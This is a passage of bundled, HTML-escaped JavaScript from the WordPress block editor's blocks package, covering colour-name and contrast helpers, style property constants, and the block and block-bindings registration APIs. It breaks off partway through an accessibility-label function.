&quot;#fffacd&quot;, lime: &quot;#00ff00&quot;, khaki: &quot;#f0e68c&quot;, mediumseagreen: &quot;#3cb371&quot;, limegreen: &quot;#32cd32&quot;, mediumspringgreen: &quot;#00fa9a&quot;, lightskyblue: &quot;#87cefa&quot;, lightblue: &quot;#add8e6&quot;, midnightblue: &quot;#191970&quot;, lightpink: &quot;#ffb6c1&quot;, mistyrose: &quot;#ffe4e1&quot;, moccasin: &quot;#ffe4b5&quot;, mintcream: &quot;#f5fffa&quot;, lightslategray: &quot;#778899&quot;, lightslategrey: &quot;#778899&quot;, navajowhite: &quot;#ffdead&quot;, navy: &quot;#000080&quot;, mediumvioletred: &quot;#c71585&quot;, powderblue: &quot;#b0e0e6&quot;, palegoldenrod: &quot;#eee8aa&quot;, oldlace: &quot;#fdf5e6&quot;, paleturquoise: &quot;#afeeee&quot;, mediumturquoise: &quot;#48d1cc&quot;, mediumorchid: &quot;#ba55d3&quot;, rebeccapurple: &quot;#663399&quot;, lightsteelblue: &quot;#b0c4de&quot;, mediumslateblue: &quot;#7b68ee&quot;, thistle: &quot;#d8bfd8&quot;, tan: &quot;#d2b48c&quot;, orchid: &quot;#da70d6&quot;, mediumpurple: &quot;#9370db&quot;, purple: &quot;#800080&quot;, pink: &quot;#ffc0cb&quot;, skyblue: &quot;#87ceeb&quot;, springgreen: &quot;#00ff7f&quot;, palegreen: &quot;#98fb98&quot;, red: &quot;#ff0000&quot;, yellow: &quot;#ffff00&quot;, slateblue: &quot;#6a5acd&quot;, lavenderblush: &quot;#fff0f5&quot;, peru: &quot;#cd853f&quot;, palevioletred: &quot;#db7093&quot;, violet: &quot;#ee82ee&quot;, teal: &quot;#008080&quot;, slategray: &quot;#708090&quot;, slategrey: &quot;#708090&quot;, aliceblue: &quot;#f0f8ff&quot;, darkseagreen: &quot;#8fbc8f&quot;, darkolivegreen: &quot;#556b2f&quot;, greenyellow: &quot;#adff2f&quot;, seagreen: &quot;#2e8b57&quot;, seashell: &quot;#fff5ee&quot;, tomato: &quot;#ff6347&quot;, silver: &quot;#c0c0c0&quot;, sienna: &quot;#a0522d&quot;, lavender: &quot;#e6e6fa&quot;, lightgreen: &quot;#90ee90&quot;, orange: &quot;#ffa500&quot;, orangered: &quot;#ff4500&quot;, steelblue: &quot;#4682b4&quot;, royalblue: &quot;#4169e1&quot;, turquoise: &quot;#40e0d0&quot;, yellowgreen: &quot;#9acd32&quot;, salmon: &quot;#fa8072&quot;, saddlebrown: &quot;#8b4513&quot;, sandybrown: &quot;#f4a460&quot;, rosybrown: &quot;#bc8f8f&quot;, darksalmon: &quot;#e9967a&quot;, lightgoldenrodyellow: &quot;#fafad2&quot;, snow: &quot;#fffafa&quot;, lightgrey: &quot;#d3d3d3&quot;, lightgray: &quot;#d3d3d3&quot;, dimgray: &quot;#696969&quot;, dimgrey: &quot;#696969&quot;, olivedrab: &quot;#6b8e23&quot;, olive: &quot;#808000&quot; }, r2 = {};
    for (var d2 in a2) r2[a2[d2]] = d2;
    var l2 = {};
    e2.prototype.toName = function(f3) {
      if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return &quot;transparent&quot;;
      var d3, i2, n2 = r2[this.toHex()];
      if (n2) return n2;
      if (null == f3 ? void 0 : f3.closest) {
        var o3 = this.toRgb(), t3 = 1 / 0, b2 = &quot;black&quot;;
        if (!l2.length) for (var c2 in a2) l2[c2] = new e2(a2[c2]).toRgb();
        for (var g2 in a2) {
          var u2 = (d3 = o3, i2 = l2[g2], Math.pow(d3.r - i2.r, 2) + Math.pow(d3.g - i2.g, 2) + Math.pow(d3.b - i2.b, 2));
          u2 &lt; t3 &amp;&amp; (t3 = u2, b2 = g2);
        }
        return b2;
      }
    };
    f2.string.push([function(f3) {
      var r3 = f3.toLowerCase(), d3 = &quot;transparent&quot; === r3 ? &quot;#0000&quot; : a2[r3];
      return d3 ? new e2(d3).toRgb() : null;
    }, &quot;name&quot;]);
  }

  // node_modules/colord/plugins/a11y.mjs
  var o2 = function(o3) {
    var t3 = o3 / 255;
    return t3 &lt; 0.04045 ? t3 / 12.92 : Math.pow((t3 + 0.055) / 1.055, 2.4);
  };
  var t2 = function(t3) {
    return 0.2126 * o2(t3.r) + 0.7152 * o2(t3.g) + 0.0722 * o2(t3.b);
  };
  function a11y_default(o3) {
    o3.prototype.luminance = function() {
      return o4 = t2(this.rgba), void 0 === (r2 = 2) &amp;&amp; (r2 = 0), void 0 === n2 &amp;&amp; (n2 = Math.pow(10, r2)), Math.round(n2 * o4) / n2 + 0;
      var o4, r2, n2;
    }, o3.prototype.contrast = function(r2) {
      void 0 === r2 &amp;&amp; (r2 = &quot;#FFF&quot;);
      var n2, a2, i2, e2, v2, u2, d2, c2 = r2 instanceof o3 ? r2 : new o3(r2);
      return e2 = this.rgba, v2 = c2.toRgb(), u2 = t2(e2), d2 = t2(v2), n2 = u2 &gt; d2 ? (u2 + 0.05) / (d2 + 0.05) : (d2 + 0.05) / (u2 + 0.05), void 0 === (a2 = 2) &amp;&amp; (a2 = 0), void 0 === i2 &amp;&amp; (i2 = Math.pow(10, a2)), Math.floor(i2 * n2) / i2 + 0;
    }, o3.prototype.isReadable = function(o4, t3) {
      return void 0 === o4 &amp;&amp; (o4 = &quot;#FFF&quot;), void 0 === t3 &amp;&amp; (t3 = {}), this.contrast(o4) &gt;= (e2 = void 0 === (i2 = (r2 = t3).size) ? &quot;normal&quot; : i2, &quot;AAA&quot; === (a2 = void 0 === (n2 = r2.level) ? &quot;AA&quot; : n2) &amp;&amp; &quot;normal&quot; === e2 ? 7 : &quot;AA&quot; === a2 &amp;&amp; &quot;large&quot; === e2 ? 3 : 4.5);
      var r2, n2, a2, i2, e2;
    };
  }

  // packages/blocks/build-module/api/utils.mjs
  var import_element = __toESM(require_element(), 1);
  var import_i18n2 = __toESM(require_i18n(), 1);
  var import_dom = __toESM(require_dom(), 1);
  var import_rich_text = __toESM(require_rich_text(), 1);
  var import_deprecated = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/constants.mjs
  var BLOCK_ICON_DEFAULT = &quot;block-default&quot;;
  var DEPRECATED_ENTRY_KEYS = [
    &quot;attributes&quot;,
    &quot;supports&quot;,
    &quot;save&quot;,
    &quot;migrate&quot;,
    &quot;isEligible&quot;,
    &quot;apiVersion&quot;
  ];
  var __EXPERIMENTAL_STYLE_PROPERTY = {
    // Kept for back-compatibility purposes.
    &quot;--wp--style--color--link&quot;: {
      value: [&quot;color&quot;, &quot;link&quot;],
      support: [&quot;color&quot;, &quot;link&quot;]
    },
    aspectRatio: {
      value: [&quot;dimensions&quot;, &quot;aspectRatio&quot;],
      support: [&quot;dimensions&quot;, &quot;aspectRatio&quot;],
      useEngine: true
    },
    background: {
      value: [&quot;color&quot;, &quot;gradient&quot;],
      support: [&quot;color&quot;, &quot;gradients&quot;],
      useEngine: true
    },
    backgroundColor: {
      value: [&quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;background&quot;],
      requiresOptOut: true,
      useEngine: true
    },
    backgroundImage: {
      value: [&quot;background&quot;, &quot;backgroundImage&quot;],
      support: [&quot;background&quot;, &quot;backgroundImage&quot;],
      useEngine: true
    },
    backgroundRepeat: {
      value: [&quot;background&quot;, &quot;backgroundRepeat&quot;],
      support: [&quot;background&quot;, &quot;backgroundRepeat&quot;],
      useEngine: true
    },
    backgroundSize: {
      value: [&quot;background&quot;, &quot;backgroundSize&quot;],
      support: [&quot;background&quot;, &quot;backgroundSize&quot;],
      useEngine: true
    },
    backgroundPosition: {
      value: [&quot;background&quot;, &quot;backgroundPosition&quot;],
      support: [&quot;background&quot;, &quot;backgroundPosition&quot;],
      useEngine: true
    },
    borderColor: {
      value: [&quot;border&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderRadius: {
      value: [&quot;border&quot;, &quot;radius&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;radius&quot;],
      properties: {
        borderTopLeftRadius: &quot;topLeft&quot;,
        borderTopRightRadius: &quot;topRight&quot;,
        borderBottomLeftRadius: &quot;bottomLeft&quot;,
        borderBottomRightRadius: &quot;bottomRight&quot;
      },
      useEngine: true
    },
    borderStyle: {
      value: [&quot;border&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderWidth: {
      value: [&quot;border&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderTopColor: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderTopStyle: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderTopWidth: {
      value: [&quot;border&quot;, &quot;top&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderRightColor: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderRightStyle: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderRightWidth: {
      value: [&quot;border&quot;, &quot;right&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderBottomColor: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderBottomStyle: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderBottomWidth: {
      value: [&quot;border&quot;, &quot;bottom&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    borderLeftColor: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;color&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;color&quot;],
      useEngine: true
    },
    borderLeftStyle: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;style&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;style&quot;],
      useEngine: true
    },
    borderLeftWidth: {
      value: [&quot;border&quot;, &quot;left&quot;, &quot;width&quot;],
      support: [&quot;__experimentalBorder&quot;, &quot;width&quot;],
      useEngine: true
    },
    color: {
      value: [&quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;text&quot;],
      requiresOptOut: true,
      useEngine: true
    },
    columnCount: {
      value: [&quot;typography&quot;, &quot;textColumns&quot;],
      support: [&quot;typography&quot;, &quot;textColumns&quot;],
      useEngine: true
    },
    filter: {
      value: [&quot;filter&quot;, &quot;duotone&quot;],
      support: [&quot;filter&quot;, &quot;duotone&quot;]
    },
    linkColor: {
      value: [&quot;elements&quot;, &quot;link&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;link&quot;]
    },
    captionColor: {
      value: [&quot;elements&quot;, &quot;caption&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;caption&quot;]
    },
    buttonColor: {
      value: [&quot;elements&quot;, &quot;button&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;button&quot;]
    },
    buttonBackgroundColor: {
      value: [&quot;elements&quot;, &quot;button&quot;, &quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;button&quot;]
    },
    headingColor: {
      value: [&quot;elements&quot;, &quot;heading&quot;, &quot;color&quot;, &quot;text&quot;],
      support: [&quot;color&quot;, &quot;heading&quot;]
    },
    headingBackgroundColor: {
      value: [&quot;elements&quot;, &quot;heading&quot;, &quot;color&quot;, &quot;background&quot;],
      support: [&quot;color&quot;, &quot;heading&quot;]
    },
    fontFamily: {
      value: [&quot;typography&quot;, &quot;fontFamily&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontFamily&quot;],
      useEngine: true
    },
    fontSize: {
      value: [&quot;typography&quot;, &quot;fontSize&quot;],
      support: [&quot;typography&quot;, &quot;fontSize&quot;],
      useEngine: true
    },
    fontStyle: {
      value: [&quot;typography&quot;, &quot;fontStyle&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontStyle&quot;],
      useEngine: true
    },
    fontWeight: {
      value: [&quot;typography&quot;, &quot;fontWeight&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalFontWeight&quot;],
      useEngine: true
    },
    lineHeight: {
      value: [&quot;typography&quot;, &quot;lineHeight&quot;],
      support: [&quot;typography&quot;, &quot;lineHeight&quot;],
      useEngine: true
    },
    margin: {
      value: [&quot;spacing&quot;, &quot;margin&quot;],
      support: [&quot;spacing&quot;, &quot;margin&quot;],
      properties: {
        marginTop: &quot;top&quot;,
        marginRight: &quot;right&quot;,
        marginBottom: &quot;bottom&quot;,
        marginLeft: &quot;left&quot;
      },
      useEngine: true
    },
    minHeight: {
      value: [&quot;dimensions&quot;, &quot;minHeight&quot;],
      support: [&quot;dimensions&quot;, &quot;minHeight&quot;],
      useEngine: true
    },
    height: {
      value: [&quot;dimensions&quot;, &quot;height&quot;],
      support: [&quot;dimensions&quot;, &quot;height&quot;],
      useEngine: true
    },
    width: {
      value: [&quot;dimensions&quot;, &quot;width&quot;],
      support: [&quot;dimensions&quot;, &quot;width&quot;],
      useEngine: true
    },
    padding: {
      value: [&quot;spacing&quot;, &quot;padding&quot;],
      support: [&quot;spacing&quot;, &quot;padding&quot;],
      properties: {
        paddingTop: &quot;top&quot;,
        paddingRight: &quot;right&quot;,
        paddingBottom: &quot;bottom&quot;,
        paddingLeft: &quot;left&quot;
      },
      useEngine: true
    },
    textAlign: {
      value: [&quot;typography&quot;, &quot;textAlign&quot;],
      support: [&quot;typography&quot;, &quot;textAlign&quot;],
      useEngine: false
    },
    textDecoration: {
      value: [&quot;typography&quot;, &quot;textDecoration&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalTextDecoration&quot;],
      useEngine: true
    },
    textTransform: {
      value: [&quot;typography&quot;, &quot;textTransform&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalTextTransform&quot;],
      useEngine: true
    },
    letterSpacing: {
      value: [&quot;typography&quot;, &quot;letterSpacing&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalLetterSpacing&quot;],
      useEngine: true
    },
    textIndent: {
      value: [&quot;typography&quot;, &quot;textIndent&quot;],
      support: [&quot;typography&quot;, &quot;textIndent&quot;],
      useEngine: true
    },
    writingMode: {
      value: [&quot;typography&quot;, &quot;writingMode&quot;],
      support: [&quot;typography&quot;, &quot;__experimentalWritingMode&quot;],
      useEngine: true
    },
    &quot;--wp--style--root--padding&quot;: {
      value: [&quot;spacing&quot;, &quot;padding&quot;],
      support: [&quot;spacing&quot;, &quot;padding&quot;],
      properties: {
        &quot;--wp--style--root--padding-top&quot;: &quot;top&quot;,
        &quot;--wp--style--root--padding-right&quot;: &quot;right&quot;,
        &quot;--wp--style--root--padding-bottom&quot;: &quot;bottom&quot;,
        &quot;--wp--style--root--padding-left&quot;: &quot;left&quot;
      },
      rootOnly: true
    }
  };
  var __EXPERIMENTAL_ELEMENTS = {
    link: &quot;a:where(:not(.wp-element-button))&quot;,
    heading: &quot;h1, h2, h3, h4, h5, h6&quot;,
    h1: &quot;h1&quot;,
    h2: &quot;h2&quot;,
    h3: &quot;h3&quot;,
    h4: &quot;h4&quot;,
    h5: &quot;h5&quot;,
    h6: &quot;h6&quot;,
    button: &quot;.wp-element-button, .wp-block-button__link&quot;,
    caption: &quot;.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption&quot;,
    cite: &quot;cite&quot;,
    select: &quot;select&quot;,
    textInput: &quot;textarea, input:where([type=email],[type=number],[type=password],[type=search],[type=tel],[type=text],[type=url])&quot;
  };
  var __EXPERIMENTAL_PATHS_WITH_OVERRIDE = {
    &quot;color.duotone&quot;: true,
    &quot;color.gradients&quot;: true,
    &quot;color.palette&quot;: true,
    &quot;dimensions.aspectRatios&quot;: true,
    &quot;typography.fontSizes&quot;: true,
    &quot;spacing.spacingSizes&quot;: true
  };

  // packages/blocks/build-module/api/registration.mjs
  var import_data = __toESM(require_data(), 1);
  var import_i18n = __toESM(require_i18n(), 1);
  var import_warning = __toESM(require_warning(), 1);

  // packages/blocks/build-module/api/i18n-block.json
  var i18n_block_default = {
    title: &quot;block title&quot;,
    description: &quot;block description&quot;,
    keywords: [&quot;block keyword&quot;],
    styles: [
      {
        label: &quot;block style label&quot;
      }
    ],
    variations: [
      {
        title: &quot;block variation title&quot;,
        description: &quot;block variation description&quot;,
        keywords: [&quot;block variation keyword&quot;]
      }
    ]
  };

  // packages/blocks/build-module/lock-unlock.mjs
  var import_private_apis = __toESM(require_private_apis(), 1);
  var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
    &quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,
    &quot;@wordpress/blocks&quot;
  );

  // packages/blocks/build-module/api/registration.mjs
  function isObject(object) {
    return object !== null &amp;&amp; typeof object === &quot;object&quot;;
  }
  function unstable__bootstrapServerSideBlockDefinitions(definitions) {
    const { addBootstrappedBlockType: addBootstrappedBlockType2 } = unlock((0, import_data.dispatch)(store));
    for (const [name, blockType] of Object.entries(definitions)) {
      addBootstrappedBlockType2(name, blockType);
    }
  }
  function getBlockSettingsFromMetadata({ textdomain, ...metadata }) {
    const allowedFields = [
      &quot;apiVersion&quot;,
      &quot;title&quot;,
      &quot;category&quot;,
      &quot;parent&quot;,
      &quot;ancestor&quot;,
      &quot;icon&quot;,
      &quot;description&quot;,
      &quot;keywords&quot;,
      &quot;attributes&quot;,
      &quot;providesContext&quot;,
      &quot;usesContext&quot;,
      &quot;selectors&quot;,
      &quot;supports&quot;,
      &quot;styles&quot;,
      &quot;example&quot;,
      &quot;variations&quot;,
      &quot;blockHooks&quot;,
      &quot;allowedBlocks&quot;
    ];
    const settings = Object.fromEntries(
      Object.entries(metadata).filter(
        ([key]) =&gt; allowedFields.includes(key)
      )
    );
    if (textdomain) {
      Object.keys(i18n_block_default).forEach((key) =&gt; {
        if (!settings[key]) {
          return;
        }
        settings[key] = translateBlockSettingUsingI18nSchema(
          i18n_block_default[key],
          settings[key],
          textdomain
        );
      });
    }
    return settings;
  }
  function registerBlockType(blockNameOrMetadata, settings) {
    const name = isObject(blockNameOrMetadata) ? blockNameOrMetadata.name : blockNameOrMetadata;
    if (typeof name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block names must be strings.&quot;);
      return;
    }
    if (!/^[a-z][a-z0-9-]*\/[a-z][a-z0-9-]*$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block names must contain a namespace prefix, include only lowercase alphanumeric characters or dashes, and start with a letter. Example: my-plugin/my-custom-block&quot;
      );
      return;
    }
    if ((0, import_data.select)(store).getBlockType(name)) {
      (0, import_warning.default)(&#039;Block &quot;&#039; + name + &#039;&quot; is already registered.&#039;);
      return;
    }
    const { addBootstrappedBlockType: addBootstrappedBlockType2, addUnprocessedBlockType: addUnprocessedBlockType2 } = unlock(
      (0, import_data.dispatch)(store)
    );
    if (isObject(blockNameOrMetadata)) {
      const metadata = getBlockSettingsFromMetadata(blockNameOrMetadata);
      addBootstrappedBlockType2(name, metadata);
    }
    addUnprocessedBlockType2(name, settings);
    return (0, import_data.select)(store).getBlockType(name);
  }
  function translateBlockSettingUsingI18nSchema(i18nSchema, settingValue, textdomain) {
    if (typeof i18nSchema === &quot;string&quot; &amp;&amp; typeof settingValue === &quot;string&quot;) {
      return (0, import_i18n._x)(settingValue, i18nSchema, textdomain);
    }
    if (Array.isArray(i18nSchema) &amp;&amp; i18nSchema.length &amp;&amp; Array.isArray(settingValue)) {
      return settingValue.map(
        (value) =&gt; translateBlockSettingUsingI18nSchema(
          i18nSchema[0],
          value,
          textdomain
        )
      );
    }
    if (isObject(i18nSchema) &amp;&amp; Object.entries(i18nSchema).length &amp;&amp; isObject(settingValue)) {
      return Object.keys(settingValue).reduce((accumulator, key) =&gt; {
        if (!i18nSchema[key]) {
          accumulator[key] = settingValue[key];
          return accumulator;
        }
        accumulator[key] = translateBlockSettingUsingI18nSchema(
          i18nSchema[key],
          settingValue[key],
          textdomain
        );
        return accumulator;
      }, {});
    }
    return settingValue;
  }
  function registerBlockCollection(namespace, { title, icon }) {
    (0, import_data.dispatch)(store).addBlockCollection(namespace, title, icon);
  }
  function unregisterBlockType(name) {
    const oldBlock = (0, import_data.select)(store).getBlockType(name);
    if (!oldBlock) {
      (0, import_warning.default)(&#039;Block &quot;&#039; + name + &#039;&quot; is not registered.&#039;);
      return;
    }
    (0, import_data.dispatch)(store).removeBlockTypes(name);
    return oldBlock;
  }
  function setFreeformContentHandlerName(blockName) {
    (0, import_data.dispatch)(store).setFreeformFallbackBlockName(blockName);
  }
  function getFreeformContentHandlerName() {
    return (0, import_data.select)(store).getFreeformFallbackBlockName();
  }
  function getGroupingBlockName() {
    return (0, import_data.select)(store).getGroupingBlockName();
  }
  function setUnregisteredTypeHandlerName(blockName) {
    (0, import_data.dispatch)(store).setUnregisteredFallbackBlockName(blockName);
  }
  function getUnregisteredTypeHandlerName() {
    return (0, import_data.select)(store).getUnregisteredFallbackBlockName();
  }
  function setDefaultBlockName(name) {
    (0, import_data.dispatch)(store).setDefaultBlockName(name);
  }
  function setGroupingBlockName(name) {
    (0, import_data.dispatch)(store).setGroupingBlockName(name);
  }
  function getDefaultBlockName() {
    return (0, import_data.select)(store).getDefaultBlockName();
  }
  function getBlockType(name) {
    return (0, import_data.select)(store)?.getBlockType(name);
  }
  function getBlockTypes() {
    return (0, import_data.select)(store).getBlockTypes();
  }
  function getBlockSupport(nameOrType, feature, defaultSupports) {
    return (0, import_data.select)(store).getBlockSupport(
      nameOrType,
      feature,
      defaultSupports
    );
  }
  function hasBlockSupport(nameOrType, feature, defaultSupports) {
    return (0, import_data.select)(store).hasBlockSupport(
      nameOrType,
      feature,
      defaultSupports
    );
  }
  function isReusableBlock(blockOrType) {
    return blockOrType?.name === &quot;core/block&quot;;
  }
  function isTemplatePart(blockOrType) {
    return blockOrType?.name === &quot;core/template-part&quot;;
  }
  var getChildBlockNames = (blockName) =&gt; {
    return (0, import_data.select)(store).getChildBlockNames(blockName);
  };
  var hasChildBlocks = (blockName) =&gt; {
    return (0, import_data.select)(store).hasChildBlocks(blockName);
  };
  var hasChildBlocksWithInserterSupport = (blockName) =&gt; {
    return (0, import_data.select)(store).hasChildBlocksWithInserterSupport(blockName);
  };
  var registerBlockStyle = (blockNames, styleVariation) =&gt; {
    (0, import_data.dispatch)(store).addBlockStyles(blockNames, styleVariation);
  };
  var unregisterBlockStyle = (blockName, styleVariationName) =&gt; {
    (0, import_data.dispatch)(store).removeBlockStyles(blockName, styleVariationName);
  };
  var getBlockVariations = (blockName, scope) =&gt; {
    return (0, import_data.select)(store).getBlockVariations(blockName, scope);
  };
  var registerBlockVariation = (blockName, variation) =&gt; {
    if (typeof variation.name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Variation names must be unique strings.&quot;);
    }
    (0, import_data.dispatch)(store).addBlockVariations(blockName, variation);
  };
  var unregisterBlockVariation = (blockName, variationName) =&gt; {
    (0, import_data.dispatch)(store).removeBlockVariations(blockName, variationName);
  };
  var registerBlockBindingsSource = (source) =&gt; {
    const {
      name,
      label,
      usesContext,
      getValues,
      setValues,
      canUserEditValue,
      getFieldsList
    } = source;
    const existingSource = unlock(
      (0, import_data.select)(store)
    ).getBlockBindingsSource(name);
    const serverProps = [&quot;label&quot;, &quot;usesContext&quot;];
    for (const prop2 in existingSource) {
      if (!serverProps.includes(prop2) &amp;&amp; existingSource[prop2]) {
        (0, import_warning.default)(
          &#039;Block bindings source &quot;&#039; + name + &#039;&quot; is already registered.&#039;
        );
        return;
      }
    }
    if (!name) {
      (0, import_warning.default)(&quot;Block bindings source must contain a name.&quot;);
      return;
    }
    if (typeof name !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block bindings source name must be a string.&quot;);
      return;
    }
    if (/[A-Z]+/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must not contain uppercase characters.&quot;
      );
      return;
    }
    if (!/^[a-z0-9/-]+$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must contain only valid characters: lowercase characters, hyphens, or digits. Example: my-plugin/my-custom-source.&quot;
      );
      return;
    }
    if (!/^[a-z0-9-]+\/[a-z0-9-]+$/.test(name)) {
      (0, import_warning.default)(
        &quot;Block bindings source name must contain a namespace and valid characters. Example: my-plugin/my-custom-source.&quot;
      );
      return;
    }
    if (!label &amp;&amp; !existingSource?.label) {
      (0, import_warning.default)(&quot;Block bindings source must contain a label.&quot;);
      return;
    }
    if (label &amp;&amp; typeof label !== &quot;string&quot;) {
      (0, import_warning.default)(&quot;Block bindings source label must be a string.&quot;);
      return;
    }
    if (label &amp;&amp; existingSource?.label &amp;&amp; label !== existingSource?.label) {
      (0, import_warning.default)(&#039;Block bindings &quot;&#039; + name + &#039;&quot; source label was overridden.&#039;);
    }
    if (usesContext &amp;&amp; !Array.isArray(usesContext)) {
      (0, import_warning.default)(&quot;Block bindings source usesContext must be an array.&quot;);
      return;
    }
    if (getValues &amp;&amp; typeof getValues !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source getValues must be a function.&quot;);
      return;
    }
    if (setValues &amp;&amp; typeof setValues !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source setValues must be a function.&quot;);
      return;
    }
    if (canUserEditValue &amp;&amp; typeof canUserEditValue !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source canUserEditValue must be a function.&quot;);
      return;
    }
    if (getFieldsList &amp;&amp; typeof getFieldsList !== &quot;function&quot;) {
      (0, import_warning.default)(&quot;Block bindings source getFieldsList must be a function.&quot;);
      return;
    }
    return unlock((0, import_data.dispatch)(store)).addBlockBindingsSource(source);
  };
  function unregisterBlockBindingsSource(name) {
    const oldSource = getBlockBindingsSource(name);
    if (!oldSource) {
      (0, import_warning.default)(&#039;Block bindings source &quot;&#039; + name + &#039;&quot; is not registered.&#039;);
      return;
    }
    unlock((0, import_data.dispatch)(store)).removeBlockBindingsSource(name);
  }
  function getBlockBindingsSource(name) {
    return unlock((0, import_data.select)(store)).getBlockBindingsSource(name);
  }
  function getBlockBindingsSources() {
    return unlock((0, import_data.select)(store)).getAllBlockBindingsSources();
  }

  // packages/blocks/build-module/api/utils.mjs
  k([names_default, a11y_default]);
  var ICON_COLORS = [&quot;#191e23&quot;, &quot;#f8f9f9&quot;];
  function isUnmodifiedBlock(block, role) {
    const blockAttributes = getBlockType(block.name)?.attributes ?? {};
    const attributesByRole = role ? Object.entries(blockAttributes).filter(([key, definition]) =&gt; {
      if (role === &quot;content&quot; &amp;&amp; key === &quot;metadata&quot;) {
        return Object.keys(block.attributes[key]?.bindings ?? {}).length &gt; 0;
      }
      return definition.role === role || definition.__experimentalRole === role;
    }) : [];
    const attributesToCheck = !!attributesByRole.length ? attributesByRole : Object.entries(blockAttributes);
    return attributesToCheck.every(([key, definition]) =&gt; {
      const value = block.attributes[key];
      if (definition.hasOwnProperty(&quot;default&quot;)) {
        return value === definition.default;
      }
      if (definition.type === &quot;rich-text&quot;) {
        return !value?.length;
      }
      return value === void 0;
    });
  }
  function isUnmodifiedDefaultBlock(block, role) {
    return block.name === getDefaultBlockName() &amp;&amp; isUnmodifiedBlock(block, role);
  }
  function isValidIcon(icon) {
    return !!icon &amp;&amp; (typeof icon === &quot;string&quot; || (0, import_element.isValidElement)(icon) || typeof icon === &quot;function&quot; || icon instanceof import_element.Component);
  }
  function normalizeIconObject(icon) {
    icon = icon || BLOCK_ICON_DEFAULT;
    if (isValidIcon(icon)) {
      return { src: icon };
    }
    if (&quot;background&quot; in icon) {
      const colordBgColor = w(icon.background);
      const getColorContrast = (iconColor) =&gt; colordBgColor.contrast(iconColor);
      const maxContrast = Math.max(...ICON_COLORS.map(getColorContrast));
      return {
        ...icon,
        foreground: icon.foreground ? icon.foreground : ICON_COLORS.find(
          (iconColor) =&gt; getColorContrast(iconColor) === maxContrast
        ),
        shadowColor: colordBgColor.alpha(0.3).toRgbString()
      };
    }
    return icon;
  }
  function normalizeBlockType(blockTypeOrName) {
    if (typeof blockTypeOrName === &quot;string&quot;) {
      return getBlockType(blockTypeOrName);
    }
    return blockTypeOrName;
  }
  function getBlockLabel(blockType, attributes, context = &quot;visual&quot;) {
    const { __experimentalLabel: getLabel, title } = blockType;
    const label = getLabel &amp;&amp; getLabel(attributes, { context });
    if (!label) {
      return title;
    }
    if (label.toPlainText) {
      return label.toPlainText();
    }
    return (0, import_dom.__unstableStripHTML)(label);
  }
  function getAccessibleBlockLabel(blockType, attributes, position, direction = &quot;vertical&quot;) {
    const title = blockType?.title;
    const label = blockType ? getBlockLabel(blockType, attributes, &quot;accessibility&quot;) : &quot;&quot;;
    const hasPosition = position !== void 0;
    const hasLabel = label &amp;&amp; label !== title;
    if (hasPosition &amp;&amp; direction === &quot;vertical&quot;) {
      if (hasLabel) {
        return (0, import_i18n2.sprintf)(
          /* translators: accessibility text. 1: The block title. 2: The block row number. 3: The block label.. */
